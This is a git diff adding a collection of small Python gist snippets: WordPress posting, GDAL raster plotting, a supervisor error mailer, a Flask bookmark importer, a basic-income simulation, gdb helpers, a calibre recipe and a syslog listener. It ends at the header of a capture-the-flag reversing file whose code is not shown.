\ No newline at end of file
diff --git a/hard-gists/7428185/._snippet.py b/hard-gists/7428185/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7428185/._snippet.py differ
diff --git a/hard-gists/7428185/snippet.py b/hard-gists/7428185/snippet.py
new file mode 100644
index 00000000..8ce5f24d
--- /dev/null
+++ b/hard-gists/7428185/snippet.py
@@ -0,0 +1,102 @@
+import urllib
+from wordpress_xmlrpc import Client, WordPressPost
+from wordpress_xmlrpc.methods import posts
+import xmlrpclib
+from wordpress_xmlrpc.compat import xmlrpc_client
+from wordpress_xmlrpc.methods import media, posts
+import os
+########################### Read Me First ###############################
+'''
+------------------------------------------In DETAIL--------------------------------
+Description
+===========
+Add new posts to WordPress remotely using Python using XMLRPC library provided by the WordPress.
+
+Installation Requirement
+************************
+Verify you meet the following requirements
+==========================================
+Install Python 2.7 (Don't download 3+, as most libraries dont yet support version 3). 
+Install from PyPI using easy_install python-wordpress-xmlrpc 
+Easy_Install Link: https://pypi.python.org/pypi/setuptools
+==========================================
+
+Windows Installation Guide
+==========================
+-Download and Install Easy_Install from above Link -Extract Downloaded File and from CMD go to the extracted directory and run 'python setup.py install'. This will install easy_install. -Go to %/python27/script and run following command easy_install python-wordpress-xmlrpc
+
+Ubuntu Installation Guide
+=========================
+sudo apt-get install python-setuptools 
+sudo easy_install python-wordpress-xmlrpc
+
+Note: Script has its dummy data to work initially which you can change or integrate with your code easily for making it more dynamic.
+
+****************************************
+For Bugs/Suggestions
+contact@waqasjamal.com
+****************************************
+------------------------------------------In DETAIL--------------------------------		
+'''
+class Custom_WP_XMLRPC:
+	def post_article(self,wpUrl,wpUserName,wpPassword,articleTitle, articleCategories, articleContent, articleTags,PhotoUrl):
+		self.path=os.getcwd()+"\\00000001.jpg"
+		self.articlePhotoUrl=PhotoUrl
+		self.wpUrl=wpUrl
+		self.wpUserName=wpUserName
+		self.wpPassword=wpPassword
+		#Download File
+		f = open(self.path,'wb')
+		f.write(urllib.urlopen(self.articlePhotoUrl).read())
+		f.close()
+		#Upload to WordPress
+		client = Client(self.wpUrl,self.wpUserName,self.wpPassword)
+		filename = self.path
+		# prepare metadata
+		data = {'name': 'picture.jpg','type': 'image/jpg',}
+		
+		# read the binary file and let the XMLRPC library encode it into base64
+		with open(filename, 'rb') as img:
+			data['bits'] = xmlrpc_client.Binary(img.read())
+		response = client.call(media.UploadFile(data))
+		attachment_id = response['id']
+		#Post
+		post = WordPressPost()
+		post.title = articleTitle
+		post.content = articleContent
+		post.terms_names = { 'post_tag': articleTags,'category': articleCategories}
+		post.post_status = 'publish'
+		post.thumbnail = attachment_id
+		post.id = client.call(posts.NewPost(post))
+		print 'Post Successfully posted. Its Id is: ',post.id
+
+
+
+
+#########################################
+# POST & Wp Credentials Detail #
+#########################################
+
+#Url of Image on the internet
+ariclePhotoUrl='http://i1.tribune.com.pk/wp-content/uploads/2013/07/584065-twitter-1375197036-960-640x480.jpg' 
+# Dont forget the /xmlrpc.php cause thats your posting adress for XML Server
+wpUrl='http://YourWebSite.com/xmlrpc.php' 
+#WordPress Username
+wpUserName='WordPressUsername'
+#WordPress Password
+wpPassword='YourWordPressPassword'
+#Post Title
+articleTitle='Testing Python Script version 3'
+#Post Body/Description
+articleContent='Final .... Testing Fully Automated'
+#list of tags
+articleTags=['code','python'] 
+#list of Categories
+articleCategories=['language','art'] 
+
+#########################################
+# Creating Class object & calling the xml rpc custom post Function
+#########################################
+xmlrpc_object	=	Custom_WP_XMLRPC()
+#On Post submission this function will print the post id
+xmlrpc_object.post_article(wpUrl,wpUserName,wpPassword,articleTitle, articleCategories, articleContent, articleTags,ariclePhotoUrl)
\ No newline at end of file
diff --git a/hard-gists/7434f7431d1cc0350dbe/._snippet.py b/hard-gists/7434f7431d1cc0350dbe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7434f7431d1cc0350dbe/._snippet.py differ
diff --git a/hard-gists/7434f7431d1cc0350dbe/snippet.py b/hard-gists/7434f7431d1cc0350dbe/snippet.py
new file mode 100644
index 00000000..7efd41cd
--- /dev/null
+++ b/hard-gists/7434f7431d1cc0350dbe/snippet.py
@@ -0,0 +1,37 @@
+from osgeo import gdal
+import matplotlib.pyplot as plt
+import numpy as np
+from mpl_toolkits.basemap import Basemap
+
+# Plotting 2070 projected August (8) precip from worldclim
+gdata = gdal.Open("D:/jon/datasets/worldclim/future/pr/gf45pr70_usa/gf45pr708.tif")
+geo = gdata.GetGeoTransform()
+data = gdata.ReadAsArray()
+
+xres = geo[1]
+yres = geo[5]
+
+# A good LCC projection for USA plots
+m = Basemap(llcrnrlon=-119,llcrnrlat=22,urcrnrlon=-64,urcrnrlat=49,
+            projection='lcc',lat_1=33,lat_2=45,lon_0=-95)
+
+# This just plots the shapefile -- it has already been clipped
+m.readshapefile('D:/jon/datasets/USGS HUCs/US_states/states','states',drawbounds=True, color='0.3')
+
+xmin = geo[0] + xres * 0.5
+xmax = geo[0] + (xres * gdata.RasterXSize) - xres * 0.5
+ymin = geo[3] + (yres * gdata.RasterYSize) + yres * 0.5
+ymax = geo[3] - yres * 0.5
+
+x,y = np.mgrid[xmin:xmax+xres:xres, ymax+yres:ymin:yres]
+x,y = m(x,y)
+
+cmap = plt.cm.gist_rainbow
+cmap.set_under ('1.0')
+cmap.set_bad('0.8')
+
+im = m.pcolormesh(x,y, data.T, cmap=cmap, vmin=0, vmax=100)
+
+cb = plt.colorbar( orientation='vertical', fraction=0.10, shrink=0.7)
+plt.title('August Precip (mm)')
+plt.show()
diff --git a/hard-gists/7443646/._snippet.py b/hard-gists/7443646/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7443646/._snippet.py differ
diff --git a/hard-gists/7443646/snippet.py b/hard-gists/7443646/snippet.py
new file mode 100644
index 00000000..df0ec9bf
--- /dev/null
+++ b/hard-gists/7443646/snippet.py
@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+
+# ndvi.py red.tif nir.tif output-ndvi.tif
+# Calculate NDVI (see Wikipedia). Assumes atmospheric correction.
+# (Although I use it without all the time for quick experiments.)
+
+import numpy as np
+from sys import argv
+from osgeo import gdal, gdalconst
+
+# Type for internal calculations:
+t = np.float32
+
+red, nir = map(gdal.Open, argv[1:3])
+
+geotiff = gdal.GetDriverByName('GTiff')
+output = geotiff.CreateCopy(argv[3], red, 0)
+
+output = geotiff.Create(
+   argv[3], 
+   red.RasterXSize, red.RasterYSize, 
+   1, 
+   gdal.GDT_UInt16)
+
+# Ugly syntax, but fast:
+r = red.GetRasterBand(1).ReadAsArray(0, 0, red.RasterXSize, red.RasterYSize)
+n = nir.GetRasterBand(1).ReadAsArray(0, 0, nir.RasterXSize, nir.RasterYSize)
+
+# Convert the 16-bit Landsat 8 values to floats for the division operation:
+r = r.astype(t)
+n = n.astype(t)
+
+# Tell numpy not to complain about division by 0:
+np.seterr(invalid='ignore')
+
+# Here's the meat of this whole thing, the actual NDVI formula:
+ndvi = (n - r)/(n + r)
+
+# The ndvi value is in the range -1..1, but we want it to be displayable, so:
+# Make the value positive and scale it back up to the 16-bit range:
+ndvi = (ndvi + 1) * (2**15 - 1)
+
+# And do the type conversion back:
+ndvi = ndvi.astype(np.uint16)
+
+output.GetRasterBand(1).WriteArray(ndvi)
\ No newline at end of file
diff --git a/hard-gists/744413/._snippet.py b/hard-gists/744413/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/744413/._snippet.py differ
diff --git a/hard-gists/744413/snippet.py b/hard-gists/744413/snippet.py
new file mode 100644
index 00000000..f2d032c7
--- /dev/null
+++ b/hard-gists/744413/snippet.py
@@ -0,0 +1,97 @@
+#!/usr/bin/env python
+
+import os
+import smtplib
+import sys
+import time
+from optparse import OptionParser
+
+from supervisor import childutils
+
+class ErrorMailer(object):
+    def __init__(self, address, processes=None):
+        self.address = address
+        self.processes = processes
+        self.stdin = sys.stdin
+        self.stdout = sys.stdout
+        self.mailcmd = "mail"
+
+    def run(self):
+        last_email = {}
+        while True:
+            headers, payload = childutils.listener.wait(self.stdin, self.stdout)
+
+            if headers['eventname'] not in ('PROCESS_STATE_EXITED', 'PROCESS_LOG_STDERR'):
+                childutils.listener.ok(self.stdout)
+                continue
+
+            if headers['eventname'] == 'PROCESS_STATE_EXITED':
+                pheaders, pdata = childutils.eventdata(payload+'\n')
+
+                if int(pheaders['expected']):
+                    childutils.listener.ok(self.stdout)
+                    continue
+
+                msg = ('Process %(processname)s in group %(groupname)s exited '
+                       'unexpectedly (pid %(pid)s) from state %(from_state)s' %
+                       pheaders)
+            
+                subject = ' %s crashed at %s' % (pheaders['processname'],
+                                                 childutils.get_asctime())
+
+                # self.stderr.write('unexpected exit, mailing\n')
+                # self.stderr.flush()
+
+                self.mail(subject, msg)
+
+                childutils.listener.ok(self.stdout)
+            else: # PROCESS_LOG_STDERR
+                pheaders, pdata = childutils.eventdata(payload)
+
+                name = pheaders['processname']
+                now = time.time()
+                if now - last_email.get(name, 0) < 30:
+                    childutils.listener.ok(self.stdout)
+                    continue
+                last_email[name] = now
+
+                subject = ('Process %(processname)s in group %(groupname)s wrote to stderr'
+                       % pheaders)
+
+                # self.stderr.write('wrote to stderr, mailing\n')
+                # self.stderr.flush()
+
+                self.mail(subject, pdata.strip())
+
+                childutils.listener.ok(self.stdout)
+
+    def mail(self, subject, msg):
+        fromaddress = "root@localhost"
+        body = "\r\n".join((
+            "From: %s" % fromaddress,
+            "To: %s" % self.address,
+            "Subject: %s" % subject,
+            "",
+            msg,
+        ))
+        server = smtplib.SMTP('localhost')
+        server.sendmail(fromaddress, [self.address], body)
+        server.quit()
+
+def build_parser():
+    parser = OptionParser(usage="Usage: %prog [options]")
+    parser.add_option("-p", "--process", dest="processes", help="Process name", action="append")
+    parser.add_option("-m", "--address", dest="address", help="Email address")
+    return parser
+
+def main():
+    parser = build_parser()
+    options, system = parser.parse_args()
+    if not options.address:
+        parser.error("must specify an email address")
+
+    prog = ErrorMailer(processes=options.processes, address=options.address)
+    prog.run()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/744700/._snippet.py b/hard-gists/744700/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/744700/._snippet.py differ
diff --git a/hard-gists/744700/snippet.py b/hard-gists/744700/snippet.py
new file mode 100644
index 00000000..c033f0ea
--- /dev/null
+++ b/hard-gists/744700/snippet.py
@@ -0,0 +1,32 @@
+from pymongo import Connection
+from BeautifulSoup import BeautifulSoup
+from flask import Flask, render_template, request, redirect, url_for
+from .util import normalize_url
+
+app = Flask(__name__)
+
+conn = Connection('localhost')
+db = conn.test
+bookmarkr = db.bookmarkr
+
+@app.route('/')
+def index():
+    return render_template('index.html')
+
+@app.route('/import', methods=['GET', 'POST'])
+def import_bookmark():
+    if request.method == 'GET':
+        return render_template('import.html')
+
+    if request.files and request.files['file']:
+        src = request.files['file'].read()
+        soup = BeautifulSoup(src)
+        items = [{'href': normalize_url(a.get('href'), True),
+            'title': a.string, 'tags': a.get('tags').split(',')}
+            for a in soup.findAll('a')]
+        bookmarkr.insert(items)
+    return redirect(url_for('list'))
+
+@app.route('/list')
+def list():
+    return render_template('list.html', links=bookmarkr.find().limit(50))
diff --git a/hard-gists/7447067/._snippet.py b/hard-gists/7447067/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7447067/._snippet.py differ
diff --git a/hard-gists/7447067/snippet.py b/hard-gists/7447067/snippet.py
new file mode 100644
index 00000000..a190fe0b
--- /dev/null
+++ b/hard-gists/7447067/snippet.py
@@ -0,0 +1,69 @@
+from pylab import *
+from scipy.stats import *
+
+num_adults = 227e6
+basic_income = 7.25*40*50
+labor_force = 154e6
+disabled_adults = 21e6
+current_wealth_transfers = 3369e9
+
+def jk_rowling(num_non_workers):
+    num_of_jk_rowlings = binom(num_non_workers, 1e-7).rvs()
+    return num_of_jk_rowlings * 1e9
+
+def basic_income_cost_benefit():
+    direct_costs = num_adults * basic_income
+    administrative_cost_per_person = norm(250,75)
+    non_worker_multiplier = uniform(-0.10, 0.15).rvs()
+    non_workers = (num_adults-labor_force-disabled_adults) * (1+non_worker_multiplier)
+    marginal_worker_hourly_productivity = norm(10,1)
+
+    administrative_costs = num_adults * administrative_cost_per_person.rvs()
+    labor_effect_costs_benefit = -1 * ((num_adults-labor_force-disabled_adults) *
+                                       non_worker_multiplier *
+                                       (40*52*marginal_worker_hourly_productivity.rvs())
+                                       )
+    return direct_costs + administrative_costs + labor_effect_costs_benefit - jk_rowling(non_workers)
+
+def basic_job_cost_benefit():
+    administrative_cost_per_disabled_person = norm(500,150).rvs()
+    administrative_cost_per_worker = norm(5000, 1500).rvs()
+    non_worker_multiplier = uniform(-0.20, 0.25).rvs()
+    basic_job_hourly_productivity = uniform(0.0, 7.25).rvs()
+
+    disabled_cost = disabled_adults * (basic_income + administrative_cost_per_disabled_person)
+    num_basic_workers = ((num_adults - disabled_adults - labor_force) *
+                         (1+non_worker_multiplier)
+                         )
+
+    basic_worker_cost_benefit = num_basic_workers * (
+        basic_income +
+        administrative_cost_per_worker -
+        40*50*basic_job_hourly_productivity
+        )
+    return disabled_cost + basic_worker_cost_benefit
+
+
+N = 1024*32
+bi = zeros(shape=(N,), dtype=float)
+bj = zeros(shape=(N,), dtype=float)
+
+for k in range(N):
+    bi[k] = basic_income_cost_benefit()
+    bj[k] = basic_job_cost_benefit()
+
+subplot(211)
+width = 4e12
+height=50*N/1024
+
+title("Basic Income")
+hist(bi, bins=50)
+axis([0,width,0,height])
+
+subplot(212)
+title("Basic Job")
+hist(bj, bins=50)
+
+axis([0,width,0,height])
+
+show()
diff --git a/hard-gists/745868fb26102298e837/._snippet.py b/hard-gists/745868fb26102298e837/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/745868fb26102298e837/._snippet.py differ
diff --git a/hard-gists/745868fb26102298e837/snippet.py b/hard-gists/745868fb26102298e837/snippet.py
new file mode 100644
index 00000000..40c98dfb
--- /dev/null
+++ b/hard-gists/745868fb26102298e837/snippet.py
@@ -0,0 +1,48 @@
+import ssl
+import sys
+import optparse
+import ConfigParser
+import OpenSSL
+
+def getCertificate(s):
+
+        cert_pem = ssl.get_server_certificate((s, 443))
+        cert_der = ssl.PEM_cert_to_DER_cert(cert_pem)
+        x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, cert_pem)
+
+        fingerprint = x509.digest('sha1')
+        fingerprint = ':'.join(fingerprint[pos:pos+2] for pos in xrange(0,len(fingerprint),2))
+        subject = x509.get_subject()
+
+        print '%-25s %s' %('SHA1 Fingerprint:',fingerprint)
+        print '%-25s %s' %('Serial Number:',x509.get_serial_number())
+        print '%-25s %s' %('Common Name:',subject.CN)
+        print '%-25s %s' %('Organization:',subject.O)
+        print '%-25s %s' %('Issue Date:',x509.get_notBefore())
+        print '%-25s %s' %('Expiration Date:', x509.get_notAfter())
+
+        cert_out = open(s,'wb')
+        cert_out.write(cert_pem)
+        cert_out.close()
+
+
+def readConfigs(args):
+        usage = "Usage: python %prog [options] "
+        parser = optparse.OptionParser(usage=usage)
+        parser.add_option('--server', '-s', action='store', default=None, help='server to enumnerate')
+
+        global options
+        (options,server) = parser.parse_args(args)
+
+def main(args):
+        readConfigs(args)
+        if options.server:
+                getCertificate(options.server)
+
+if __name__ == "__main__":
+        args = sys.argv[1:]
+        if args:
+                main(args)
+        else:
+                print "See help (-h) for details"
+                sys.exit(0)
\ No newline at end of file
diff --git a/hard-gists/7466823/._snippet.py b/hard-gists/7466823/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7466823/._snippet.py differ
diff --git a/hard-gists/7466823/snippet.py b/hard-gists/7466823/snippet.py
new file mode 100644
index 00000000..c002c963
--- /dev/null
+++ b/hard-gists/7466823/snippet.py
@@ -0,0 +1,101 @@
+#!/usr/bin/python
+import gdb
+
+INDENT = '  '
+
+
+class SuperTrace(gdb.Command):
+    old_stack = []
+
+    def __init__(self):
+        super(SuperTrace, self).__init__("supertrace",
+                                         gdb.COMMAND_SUPPORT,
+                                         gdb.COMPLETE_NONE)
+
+    def supertrace(self):
+        def backtrace_generator():
+            f = gdb.newest_frame()
+            while f is not None:
+                yield f
+                f = gdb.Frame.older(f)
+
+        fstack = []
+        f = gdb.newest_frame()
+        for f in backtrace_generator():
+            frame_name = gdb.Frame.name(f)
+            if frame_name is None:
+                continue
+                #frame_name = '??'
+            filename = '??'
+            line = 0
+            try:
+                symtab_and_line = gdb.Frame.find_sal(f)
+                filename = symtab_and_line.symtab.filename
+                line = symtab_and_line.line
+            except:
+                #continue
+                pass
+            args = [
+                frame_name,
+                filename,
+                line,
+            ]
+            fstack.append(args)
+        fstack.reverse()
+        ostack = self.__class__.old_stack
+        is_print = False
+        for f in enumerate(fstack):
+            if f[0] >= len(ostack):
+                is_print = True
+            else:
+                if f[1] != ostack[f[0]]:
+                    is_print = True
+            if is_print:
+                print('{}| {} at {}:{}'.format(
+                      INDENT * f[0], f[1][0], f[1][1], f[1][2]))
+        self.__class__.old_stack = fstack
+
+    def invoke(self, arg, from_tty):
+        #num = 0
+        #try:
+        #    num = int(arg)
+        #except Exception:
+        #    pass
+        try:
+            self.supertrace()
+        except Exception as e:
+            print(str(e))
+
+
+class LastBreakpoints(gdb.Function):
+    def __init__(self):
+        super(LastBreakpoints, self).__init__("lastbp")
+
+    def invoke(self):
+        return len(gdb.breakpoints())
+
+
+class BreakAll(gdb.Command):
+    def __init__(self):
+        super(self.__class__, self).__init__("breakall",
+                                             gdb.COMMAND_SUPPORT,
+                                             gdb.COMPLETE_NONE)
+
+    def filelist(self):
+        files = set()
+        raw = gdb.execute('info functions', True, True)
+        lines = raw.split('\n')
+        for line in enumerate(lines):
+            if line[1].startswith('File '):
+                files.add(line[1][5:line[1].find(':')])
+            #print '{0:3d}: {1}'.format(line[0], line[1])
+        return files
+
+    def invoke(self, arg, from_tty):
+        for f in self.filelist():
+            gdb.execute('rbreak {}:.'.format(f))
+
+
+SuperTrace()
+LastBreakpoints()
+BreakAll()
diff --git a/hard-gists/748cda36befe17fd1cb0/._snippet.py b/hard-gists/748cda36befe17fd1cb0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/748cda36befe17fd1cb0/._snippet.py differ
diff --git a/hard-gists/748cda36befe17fd1cb0/snippet.py b/hard-gists/748cda36befe17fd1cb0/snippet.py
new file mode 100644
index 00000000..13284646
--- /dev/null
+++ b/hard-gists/748cda36befe17fd1cb0/snippet.py
@@ -0,0 +1,50 @@
+##
+##  Copy & Paste Tool for images to PowerPoint(.pptx)
+##
+import pptx
+import pptx.util
+import glob
+import scipy.misc
+
+OUTPUT_TAG = "MY_TAG"
+
+# new
+prs = pptx.Presentation()
+# open
+# prs_exists = pptx.Presentation("some_presentation.pptx")
+
+# default slide width
+#prs.slide_width = 9144000
+# slide height @ 4:3
+#prs.slide_height = 6858000
+# slide height @ 16:9
+prs.slide_height = 5143500
+
+# title slide
+slide = prs.slides.add_slide(prs.slide_layouts[0])
+# blank slide
+#slide = prs.slides.add_slide(prs.slide_layouts[6])
+
+# set title
+title = slide.shapes.title
+title.text = OUTPUT_TAG
+
+pic_left  = int(prs.slide_width * 0.15)
+pic_top   = int(prs.slide_height * 0.1)
+pic_width = int(prs.slide_width * 0.7)
+
+for g in glob.glob("/path/to/your/images*"):
+    print g
+    slide = prs.slides.add_slide(prs.slide_layouts[6])
+
+    tb = slide.shapes.add_textbox(0, 0, prs.slide_width, pic_top / 2)
+    p = tb.textframe.add_paragraph()
+    p.text = g
+    p.font.size = pptx.util.Pt(14)
+
+    img = scipy.misc.imread(g)
+    pic_height = int(pic_width * img.shape[0] / img.shape[1])
+    #pic   = slide.shapes.add_picture(g, pic_left, pic_top)
+    pic   = slide.shapes.add_picture(g, pic_left, pic_top, pic_width, pic_height)
+
+prs.save("%s.pptx" % OUTPUT_TAG)
\ No newline at end of file
diff --git a/hard-gists/7495576/._snippet.py b/hard-gists/7495576/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7495576/._snippet.py differ
diff --git a/hard-gists/7495576/snippet.py b/hard-gists/7495576/snippet.py
new file mode 100644
index 00000000..7a56e54b
--- /dev/null
+++ b/hard-gists/7495576/snippet.py
@@ -0,0 +1,14 @@
+import Image
+from Cleanbar import cleanbar
+import console, photos
+
+s1 = cleanbar(photos.pick_image())
+s2 = cleanbar(photos.pick_image())
+
+w = s1.size[0] + s2.size[0] + 60
+h = max(s1.size[1], s2.size[1]) + 40
+ss = Image.new('RGB', (w,h), '#888')
+ss.paste(s1, (20, (h - s1.size[1])/2))
+ss.paste(s2, (s1.size[0] + 40, (h - s2.size[1])/2))
+console.clear()
+ss.show()
\ No newline at end of file
diff --git a/hard-gists/749788/._snippet.py b/hard-gists/749788/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/749788/._snippet.py differ
diff --git a/hard-gists/749788/snippet.py b/hard-gists/749788/snippet.py
new file mode 100644
index 00000000..f5a39b60
--- /dev/null
+++ b/hard-gists/749788/snippet.py
@@ -0,0 +1,207 @@
+#!/usr/bin/env python2
+
+__license__   = 'GPL v3'
+__copyright__ = '2010, Zsolt Botykai <zsoltika@gmail.com>'
+'''
+es.hu
+'''
+import string, re
+
+from calibre.web.feeds.news import BasicNewsRecipe
+from calibre.ebooks.BeautifulSoup import Tag, NavigableString
+from string import capwords
+
+temp_files = []
+articles_are_obfuscated = True
+
+
+class EletEsIrodalom(BasicNewsRecipe):
+
+    delay = 100
+    simultaneous_downloads = 1
+    timeout = 60
+
+    title      = "E'let e's Irodalom"
+    __author__ = 'Zsolt Botykai'
+    description = "E'let e's Irodalom"
+    INDEX = 'http://www.es.hu/'
+    language = 'hu'
+
+    remove_javascript = True
+    remove_empty_feeds = True
+    remove_tags = [
+                       dict(name='div', attrs={'id':[ 'right', \
+                                                         'banner', \
+                                                         'head_left', \
+                             'head_right', \
+                             'menu', \
+                             'foot', \
+                             'leaddocument' \
+                             'separator' \
+                             'left' \
+                       ]}) , 
+                       dict(name='div', attrs={'class':[ 'skybanner', \
+                             'clearfloat' \
+                             'separator' \
+                             'almenu' \
+                       ]})
+               ]
+
+    no_stylesheets = True
+    timeout = 7
+    delay = 3
+
+    preprocess_regexps = [(re.compile(r'<!--.*?-->', re.DOTALL), lambda m: '')]
+
+    def get_obfuscated_article(self, url):
+        br = self.get_browser()
+        br.open(url+'&print')
+
+        response = br.follow_link(url, nr = 0)
+        html = response.read()
+
+        self.temp_files.append(PersistentTemporaryFile('_fa.html'))
+        self.temp_files[-1].write(html)
+        self.temp_files[-1].close()
+        return self.temp_files[-1].name
+
+
+    def parse_index(self):
+        articles = []
+
+        soup = self.index_to_soup(self.INDEX)
+        sectit = soup.find('div', attrs={'class':'fpdocument'})
+        if sectit is not None:
+            texts = self.tag_to_string(sectit).strip().split()[-2:]
+            if texts:
+                self.timefmt = ' [%s]'%(' '.join(texts))
+
+        cover = soup.find('img', src=True, attrs={'class':'cover'})
+        if cover is not None:
+            self.cover_url = cover['src']
+
+        feeds = []
+        for section in soup.findAll('div', attrs={'class':'fpdocument'}):
+            section_title = section.find('a', attrs={'class':'rovat'})
+            section_title = string.capwords(self.tag_to_string(section_title))
+            self.log('Found section:', section_title)
+            articles = []
+
+            litem = section.find('li')
+            if litem:
+                for post in section.findAll('li'):
+                    h = post.find(self)
+                    title = self.tag_to_string(post).replace(":"," ")
+                    a = post.find('a', href=True)
+                    url = a['href']
+                    if url.startswith('/'):
+                        url = 'http://www.es.hu'+url
+                    p = post.find('p', attrs={'align':'left'})
+                    desc = None
+                    self.log('\tFound article:', title, 'at', url)
+                    if p is not None:
+                        desc = self.tag_to_string(p)
+                        self.log('\t\t', desc)
+                    articles.append({'title':title, 'url':url, 'description':desc,
+                        'date':''})
+            else:
+                    arttitle = section.find('a', attrs={'class':'title'})
+                    if arttitle:
+                            arttitstr = self.tag_to_string(arttitle)
+                            artauthor = section.find('div', attrs={'class':'author'})
+                            arttitl = arttitstr
+
+                            if artauthor:
+                                    artautstr = self.tag_to_string(artauthor)
+                                    if artautstr != '':
+                                            arttitl = capwords(artautstr)
+                                            arttitl = arttitl + ' - '
+                                            arttitl = arttitl + arttitstr
+                            else:
+                                    arttitl = arttitstr
+
+                            title = arttitl.replace(":"," ")
+
+                            a = section.find('a', href=True, attrs={'class':'title'})
+                            url = a['href']
+                            if url.startswith('/'):
+                                url = 'http://www.es.hu'+url
+                            self.log('\tFound article:', title , 'at', url)
+                            articles.append({'title':title, 'url':url, 'description':'',
+                                'date':''})
+
+
+
+            feeds.append((section_title, articles))
+
+        return feeds
+
+    def preprocess_html(self, soup):
+        for links in soup.findAll('a'):
+            url = links['href']
+            if url == '/':
+                links.extract() 
+        for prmattrs in ['float: right;margin-left: 5px; margin-bottom: 5px;', 'doc_tags']:
+            for item in soup.findAll('div', attrs={'style':prmattrs}): 
+                item.extract()
+
+        mytitle = soup.find('div', attrs={'class':'doc_title'})
+        if mytitle:
+            mytitstr = self.tag_to_string(mytitle)
+        myauthor = soup.find('div', attrs={'class':'doc_author'})
+        if myauthor:
+            myautstr = self.tag_to_string(myauthor)
+            myauthor.extract()
+            myntitle=myautstr + " - "
+            myntitle=myntitle + mytitstr
+        else:
+            myntitle=mytitle
+                
+        tag = Tag(soup, "h2")
+        tag['class'] = "headline"
+        tag.insert(0, capwords(myntitle))
+        mytitle.replaceWith(tag)
+
+        mysubtitle = soup.find('div', attrs={'class':'doc_subtitle'})
+        if mysubtitle:
+            mysubtitstr = self.tag_to_string(mysubtitle)
+            tag = Tag(soup, "h3")
+            tag['class'] = "headline"
+            tag.insert(0, capwords(mysubtitstr))
+            mysubtitle.replaceWith(tag)
+    
+        mylapszam =  soup.find('div', attrs={'class':'lapszam'})
+        if mylapszam:
+            mylapstr = self.tag_to_string(mylapszam)
+            tag = Tag(soup, "h5")
+            tag['class'] = "headline"
+            tag.insert(0, mylapstr)
+            mylapszam.replaceWith(tag)
+                
+        return soup
+
+
+
+    def get_cover_url(self):
+        return 'http://www.es.hu/images/logo.jpg'
+
+    def postprocess_html(self, soup, first):
+        for rmattrs in [  'almenu', 'doc_author_docs', 'doc_print' ]:
+            for item in soup.findAll('div', attrs={'class':rmattrs}): 
+                item.extract()
+        for pz in soup.findAll('p', attrs={'align':'left'}): 
+            myp = self.tag_to_string(pz)
+            if re.search('^( |&#160;)*$',myp):
+                tag = Tag(soup, "div")
+                tag['class'] = "removable"
+                tag.insert(0, '')
+                pz.replaceWith(tag)
+            for brz in soup.findAll('br'):
+                tag = Tag(soup, "div")
+                tag['class'] = "removable"
+                tag.insert(0, '')
+                brz.replaceWith(tag)
+
+        return soup
+
+    
diff --git a/hard-gists/749857/._snippet.py b/hard-gists/749857/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/749857/._snippet.py differ
diff --git a/hard-gists/749857/snippet.py b/hard-gists/749857/snippet.py
new file mode 100644
index 00000000..185637d8
--- /dev/null
+++ b/hard-gists/749857/snippet.py
@@ -0,0 +1,55 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+# launchctl unload /System/Library/LaunchDaemons/com.apple.syslogd.plist
+# launchctl load /System/Library/LaunchDaemons/com.apple.syslogd.plist
+
+from twisted.internet import reactor, stdio, defer
+from twisted.internet.protocol import Protocol, Factory
+from twisted.protocols.basic import LineReceiver
+import time, re, math, json
+
+#<22>Nov  1 00:12:04 gleicon-vm1 postfix/smtpd[4880]: connect from localhost[127.0.0.1]
+severity = ['emerg', 'alert', 'crit', 'err', 'warn', 'notice', 'info', 'debug', ]
+
+facility = ['kern', 'user', 'mail', 'daemon', 'auth', 'syslog', 'lpr', 'news',
+    'uucp', 'cron', 'authpriv', 'ftp', 'ntp', 'audit', 'alert', 'at', 'local0',
+    'local1', 'local2', 'local3', 'local4', 'local5', 'local6', 'local7',]
+
+fs_match = re.compile("<(.+)>(.*)", re.I)
+
+class SyslogdProtocol(LineReceiver):
+    delimiter = '\n'
+    def connectionMade(self):
+        print 'Connection from %r' % self.transport
+
+
+    def lineReceived(self, line):
+        k = {}
+        k['line'] = line.strip()
+        (fac, sev) = self._calc_lvl(k['line'])
+        k['host'] = self.transport.getHost().host
+        k['tstamp'] = time.time()
+        k['facility'] = fac
+        k['severity'] = sev
+        print json.dumps(k)
+
+    def _calc_lvl(self, line):
+        lvl = fs_match.split(line)
+        if lvl and len(lvl) > 1:
+            i = int(lvl[1])
+            fac = int(math.floor(i / 8))
+            sev = i - (fac * 8)
+            return (facility[fac], severity[sev])
+        return (None, None)
+
+class SyslogdFactory(Factory):
+    protocol = SyslogdProtocol
+
+def main():
+    factory = SyslogdFactory()
+    reactor.listenTCP(25000, factory, 10)
+    reactor.run()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/74e556cd8a7814a5270079f94950957f/._snippet.py b/hard-gists/74e556cd8a7814a5270079f94950957f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/74e556cd8a7814a5270079f94950957f/._snippet.py differ
diff --git a/hard-gists/74e556cd8a7814a5270079f94950957f/snippet.py b/hard-gists/74e556cd8a7814a5270079f94950957f/snippet.py
new file mode 100644
index 00000000..03c3ee6b
--- /dev/null
+++ b/hard-gists/74e556cd8a7814a5270079f94950957f/snippet.py
@@ -0,0 +1,242 @@
+#-*- coding:utf-8 -*-
+'''
+DEF CON 2017 Quals - Godzilla (Reverse)
